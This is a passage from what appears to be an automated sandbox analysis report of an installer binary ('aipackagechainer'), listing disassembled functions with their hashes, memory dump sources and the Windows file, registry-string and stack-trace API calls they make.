                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: 23a1f53c06cf7c2f27892348544cabf4affe63a0880d2d6eba168e75056f8d92
                                                                                                                                                                                                                                                  • Instruction ID: bb6eaccb01348e05cca9a26f80a05e6b7e17419c16e39bdb354518bed99a3a53
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 23a1f53c06cf7c2f27892348544cabf4affe63a0880d2d6eba168e75056f8d92
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2A719072E2011A8FDF08CF98C8916FEB7F1FB58310F168269DD16EB244D670A991CB94
                                                                                                                                                                                                                                                  Function 0021E470 Relevance: .2, Instructions: 203COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: 2833fc6e0a6d5e46ee723946e33b696591b78610653d7872e6390278fdd38cdd
                                                                                                                                                                                                                                                  • Instruction ID: ac8d5f64fb54d298582d981f3c816aab6971520a9e06f3c2e585e65c55d09b26
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2833fc6e0a6d5e46ee723946e33b696591b78610653d7872e6390278fdd38cdd
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7161B4716242069FCB14CF1DC84066AB7E6EFF4354F5A892DE896C7254E730E9A4CB81
                                                                                                                                                                                                                                                  Function 002766B0 Relevance: .1, Instructions: 137COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: ca6a5bc58de809013063d6a2681a055a54a9f030fd3cdf8c7f79c10b0e74bf7e
                                                                                                                                                                                                                                                  • Instruction ID: 23191771c0500ffd2839668a93d7c9812bd2feb914881bb6c39ca6b7941dc575
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: ca6a5bc58de809013063d6a2681a055a54a9f030fd3cdf8c7f79c10b0e74bf7e
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: E2416B72B18A620FCB188E2C8CD8169F6D2DBD1364F4AC77DD89A97785C5748C1DC790
                                                                                                                                                                                                                                                  Function 00276AB0 Relevance: .1, Instructions: 91COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: dd6b8b718d63339a35d220de1d1af407bb4dd88d7379f243e4c178477013f4fd
                                                                                                                                                                                                                                                  • Instruction ID: e51b874ba64e83ebdebdcfb40aa1ae7dc066627049aaee0641418be013cd2ec3
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: dd6b8b718d63339a35d220de1d1af407bb4dd88d7379f243e4c178477013f4fd
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8E3159316145B60FE7108E6E8C44539BAD5DFC2301B5882FAF8E8EB352D279D906D7B0
                                                                                                                                                                                                                                                  Function 00266BA0 Relevance: .1, Instructions: 89COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: 3eaeab68c97d6d513ef16af95d17d84f199c78a7348926b2462966469425d11f
                                                                                                                                                                                                                                                  • Instruction ID: 7c5e359f7f251c90beabfa1e13d4c73f689acc56322e5a26b2b284fd0a5f5410
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3eaeab68c97d6d513ef16af95d17d84f199c78a7348926b2462966469425d11f
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: B321933673090A4B9B4CCA29EC7AA7933D1E384305749D27EE95BC7695D7388821C740
                                                                                                                                                                                                                                                  Function 00273030 Relevance: .1, Instructions: 76COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: f3395c45eef9510d8e6ba7a1e4d1d4521fa8a1af8b18e96eb7d1c28856ff8121
                                                                                                                                                                                                                                                  • Instruction ID: a3152a00c8fff2d07cc9a5fff902cf53e67da63ee406a682113cf89b3289f6ab
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: f3395c45eef9510d8e6ba7a1e4d1d4521fa8a1af8b18e96eb7d1c28856ff8121
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1A21B0315202339BD21ACE1EC8445B6F795FB85306F81C32AED84DB289C639E935D7E0
                                                                                                                                                                                                                                                  Function 00272F90 Relevance: .1, Instructions: 57COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: 9e12790dad87ec2532e809a9eef8ff034ad4c78d338c3fea1aea289e885726f6
                                                                                                                                                                                                                                                  • Instruction ID: 920d3a50d25492c2dd17b12a7a956ec36b260099e2f5667d29d975e4d897d262
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9e12790dad87ec2532e809a9eef8ff034ad4c78d338c3fea1aea289e885726f6
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4D116B325201324BD72ACD2CC884676B7A5EB82310F86C326DD85EB149C639FC39D7E0
                                                                                                                                                                                                                                                  Function 0028F94C Relevance: .0, Instructions: 29COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: f4028d74f7b1cc9dfd6c1d43f1826b563a64bb9ada68f2b5a76712271d2319dc
                                                                                                                                                                                                                                                  • Instruction ID: f39ac2804be97dbb8da7be2fd229a25716cf50ca209309072918272742f306eb
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: f4028d74f7b1cc9dfd6c1d43f1826b563a64bb9ada68f2b5a76712271d2319dc
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 98F06531A32228EFCB26DB4DD506B59B3ACEB49B61F514066F545D7290C670EE50CBD0
                                                                                                                                                                                                                                                  Function 0028F990 Relevance: .0, Instructions: 22COMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: 927bd4ffbdd7e72436beec622101bafa26e057f3d016b1e19f736927d408e671
                                                                                                                                                                                                                                                  • Instruction ID: 684c248a4a9cfdd398cca2e0f1b61257e44ffb33104ca360dc981261d70ae9df
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 927bd4ffbdd7e72436beec622101bafa26e057f3d016b1e19f736927d408e671
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 90E0E677922238FBC715EBD8C544949F3ECE745B51B554466F501D3151C274DE14CBD0
                                                                                                                                                                                                                                                  Function 0028A795 Relevance: .0, Instructions: 12COMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: 4393ba10a2c13102c7fd0adbb07cc65db380fc4ef8223aa8994ad5703ace5c8d
                                                                                                                                                                                                                                                  • Instruction ID: b8fa43d52a0be02ff906e721404045f0725551d6c3cf40b76d38f1d38f50b7e1
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 4393ba10a2c13102c7fd0adbb07cc65db380fc4ef8223aa8994ad5703ace5c8d
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 64C08C7C12398046DE29ED2082713AC7374A391782F8014CDC8120B7C2C91E9C93EB42
                                                                                                                                                                                                                                                  Function 00260590 Relevance: 40.6, APIs: 20, Strings: 3, Instructions: 371filetimeCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000,4938EAB5,?,00000000), ref: 002605F3
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32(?,00000000,?,?,?,?,?,?,?,002AA4CD,000000FF,?,0025B28B,?,?), ref: 00260611
                                                                                                                                                                                                                                                  • GetFileTime.KERNEL32(00000000,00000000,00000000,0025B28B,?,00000000,?,?,?,?,?,?,?,002AA4CD,000000FF), ref: 0026063E
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32(?,00000000,?,?,?,?,?,?,?,002AA4CD,000000FF,?,0025B28B,?,?), ref: 00260648
                                                                                                                                                                                                                                                  • FileTimeToSystemTime.KERNEL32(0025B28B,002C1958,?,00000000,?,?,?,?,?,?,?,002AA4CD,000000FF,?,0025B28B,?), ref: 002606CD
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32(?,00000000,?,?,?,?,?,?,?,002AA4CD,000000FF,?,0025B28B,?,?), ref: 002606D7
                                                                                                                                                                                                                                                  • SystemTimeToFileTime.KERNEL32(002C1958,0025B28B,?,00000000,?,?,?,?,?,?,?,002AA4CD,000000FF,?,0025B28B,?), ref: 0026070F
                                                                                                                                                                                                                                                  • SystemTimeToFileTime.KERNEL32(002C1946,002BBA4C,?,00000000,?,?,?,?,?,?,?,002AA4CD,000000FF,?,0025B28B,?), ref: 00260730
                                                                                                                                                                                                                                                  • CompareFileTime.KERNEL32(002BBA4C,0025B28B,?,00000000,?,?,?,?,?,?,?,002AA4CD,000000FF,?,0025B28B,?), ref: 00260742
                                                                                                                                                                                                                                                  • PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,002AA4CD,000000FF,?,0025B28B,?,?), ref: 002607DF
                                                                                                                                                                                                                                                  • CreateFileW.KERNEL32(?,C0000000,00000000,0000000C,00000002,00000080,00000000,S-1-5-18,?,00000001,S-1-1-0,?,00000001), ref: 0026084E
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32(?,00000001,S-1-1-0,?,00000001,?,?,?,?,?,?,?,002AA4CD,000000FF,?,0025B28B), ref: 0026085E
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000,?,00000001,S-1-1-0,?,00000001,?,?,?,?,?,?,?,002AA4CD,000000FF), ref: 00260866
                                                                                                                                                                                                                                                  • CopyFileExW.KERNEL32(?,?,00260DB0,002C18F0,00000000,00000000,?,?,?,?,?,?,?,002AA4CD,000000FF), ref: 002608C9
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32(?,?,?,?,?,?,?,002AA4CD,000000FF,?,0025B28B,?,?), ref: 002608D3
                                                                                                                                                                                                                                                  • DeleteFileW.KERNEL32(002C1520,?,?,?,?,?,?,?,002AA4CD,000000FF,?,0025B28B,?,?), ref: 00260944
                                                                                                                                                                                                                                                  • MoveFileW.KERNEL32(?,002C1520), ref: 0026094E
                                                                                                                                                                                                                                                  • CopyFileW.KERNEL32(?,002C1520,00000000,?,?,?,?,?,?,?,002AA4CD,000000FF,?,0025B28B,?,?), ref: 00260961
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32(?,?,?,?,?,?,?,002AA4CD,000000FF,?,0025B28B,?,?), ref: 0026096B
                                                                                                                                                                                                                                                    • Part of subcall function 00232D30: LocalFree.KERNEL32(00000000,80004005), ref: 00232D49
                                                                                                                                                                                                                                                    • Part of subcall function 00232D30: LocalFree.KERNEL32(?,80004005), ref: 00232D59
                                                                                                                                                                                                                                                    • Part of subcall function 00232D30: GetLastError.KERNEL32(?,80004005), ref: 00232D97
                                                                                                                                                                                                                                                  • DeleteFileW.KERNEL32(?,?,?,?,?,?,?,?,002AA4CD,000000FF,?,0025B28B,?,?), ref: 00260996
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: File$Time$ErrorLast$System$CopyCreateDeleteFreeLocal$CloseCompareExistsHandleMovePath
                                                                                                                                                                                                                                                  • String ID: .part$S-1-1-0$S-1-5-18
                                                                                                                                                                                                                                                  • API String ID: 1827882016-2727065896
                                                                                                                                                                                                                                                  • Opcode ID: ea64c990f35cb9fbcc31c1735ad0d67e464711fbb414aec087fc1c2c5ea6fc3b
                                                                                                                                                                                                                                                  • Instruction ID: e0aeba428ed6f2a2f5ee59d5425a3f963ff16f53c4ae077b295027c769984d6b
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: ea64c990f35cb9fbcc31c1735ad0d67e464711fbb414aec087fc1c2c5ea6fc3b
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 70E1B930A10705EFEB20CFA8C988BABBBF5BF45704F14451DE042A76E1DBB0A894DB50
                                                                                                                                                                                                                                                  Function 0022EAC0 Relevance: 33.6, APIs: 16, Strings: 3, Instructions: 368memorystringCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • CoTaskMemAlloc.OLE32(?,4938EAB5,00000000,00000000), ref: 0022EB49
                                                                                                                                                                                                                                                  • CharNextW.USER32(?,00000000), ref: 0022EBC9
                                                                                                                                                                                                                                                  • CharNextW.USER32(00000000,?,00000000), ref: 0022EBCE
                                                                                                                                                                                                                                                  • CharNextW.USER32(00000000,?,00000000), ref: 0022EBD3
                                                                                                                                                                                                                                                  • CharNextW.USER32(00000000,?,00000000), ref: 0022EBD8
                                                                                                                                                                                                                                                  • CharNextW.USER32(?,?,00000000,00000001,4938EAB5,00000000,00000000), ref: 0022EC23
                                                                                                                                                                                                                                                  • CharNextW.USER32(?,?,00000000,00000001,4938EAB5,00000000,00000000), ref: 0022EC33
                                                                                                                                                                                                                                                  • CharNextW.USER32(00000000,}},00000009,?,00000000,00000001,4938EAB5,00000000,00000000), ref: 0022ECAF
                                                                                                                                                                                                                                                  • CharNextW.USER32(00000000,?,00000000,00000001,4938EAB5,00000000,00000000), ref: 0022ECDD
                                                                                                                                                                                                                                                  • EnterCriticalSection.KERNEL32(-00000005,00000001,4938EAB5,00000000,00000000), ref: 0022ED2D
                                                                                                                                                                                                                                                  • lstrcmpiW.KERNEL32(?,?), ref: 0022ED51
                                                                                                                                                                                                                                                  • LeaveCriticalSection.KERNEL32(?), ref: 0022ED67
                                                                                                                                                                                                                                                  • LeaveCriticalSection.KERNEL32(?,?,?), ref: 0022EDA0
                                                                                                                                                                                                                                                  • CharNextW.USER32(00000000,?,?), ref: 0022EDF2
                                                                                                                                                                                                                                                  • CharNextW.USER32(?,00000000,00000001,4938EAB5,00000000,00000000), ref: 0022EE11
                                                                                                                                                                                                                                                  • CoTaskMemFree.OLE32(00000000,4938EAB5,00000000,00000000), ref: 0022EE5B
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: CharNext$CriticalSection$LeaveTask$AllocEnterFreelstrcmpi
                                                                                                                                                                                                                                                  • String ID: }}$HKCR$HKCU{Software{Classes
                                                                                                                                                                                                                                                  • API String ID: 3576304915-1142484189
                                                                                                                                                                                                                                                  • Opcode ID: 20b0648234cb10aef6fcd832396d4e5f4619163d8a0d23c3a9a2adc921a19553
                                                                                                                                                                                                                                                  • Instruction ID: 88326094a13618180ee9c309e820b8d843a188bd6df6fafec086198c2c4778f5
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 20b0648234cb10aef6fcd832396d4e5f4619163d8a0d23c3a9a2adc921a19553
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: CDD1F270920369AFDF20DFE8E844BAEBBF8EF05710F164159E805EB295EB749810DB51
                                                                                                                                                                                                                                                  Function 00239610 Relevance: 31.8, APIs: 12, Strings: 6, Instructions: 292libraryloaderthreadCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • InitializeCriticalSection.KERNEL32(002D8B5C,4938EAB5), ref: 00239683
                                                                                                                                                                                                                                                  • EnterCriticalSection.KERNEL32(002D8B5C,4938EAB5), ref: 00239698
                                                                                                                                                                                                                                                  • GetCurrentProcess.KERNEL32 ref: 002396A5
                                                                                                                                                                                                                                                  • GetCurrentThread.KERNEL32 ref: 002396B3
                                                                                                                                                                                                                                                  • SymSetOptions.DBGHELP(80000016), ref: 002396DF
                                                                                                                                                                                                                                                  • LoadLibraryA.KERNEL32(Dbghelp.dll,SymFromAddr,00000000), ref: 0023974D
                                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 00239754
                                                                                                                                                                                                                                                  • SymInitialize.DBGHELP(00000000,00000000,00000001,002BC440,00000000), ref: 0023979C
                                                                                                                                                                                                                                                  • StackWalk.DBGHELP(0000014C,?,?,?,?,00000000,00000000,*** Stack Trace (x86) ***,?,?,?), ref: 002398DF
                                                                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000,*** Stack Trace (x86) ***,?,?,?), ref: 00239990
                                                                                                                                                                                                                                                  • SymCleanup.DBGHELP(?,?), ref: 00239A72
                                                                                                                                                                                                                                                  • LeaveCriticalSection.KERNEL32(002D8B5C,?), ref: 00239A9D
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: CriticalSection$CurrentInitialize$AddressCleanupEnterHandleLeaveLibraryLoadModuleOptionsProcProcessStackThreadWalk
                                                                                                                                                                                                                                                  • String ID: *** Stack Trace (x86) ***$<--------------------MORE--FRAMES-------------------->$Dbghelp.dll$MODULE_BASE_ADDRESS$SymFromAddr$[0x%.8Ix]
                                                                                                                                                                                                                                                  • API String ID: 4282195395-80696534
                                                                                                                                                                                                                                                  • Opcode ID: f55774917b27ff4fda3cc59a70a4a62206b10721ba9878dc2506373743a6161a
                                                                                                                                                                                                                                                  • Instruction ID: 5462722c1dbf13347ba4d365593f0dff774c38bb68b65bd053f2c00ab3a06751
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: f55774917b27ff4fda3cc59a70a4a62206b10721ba9878dc2506373743a6161a
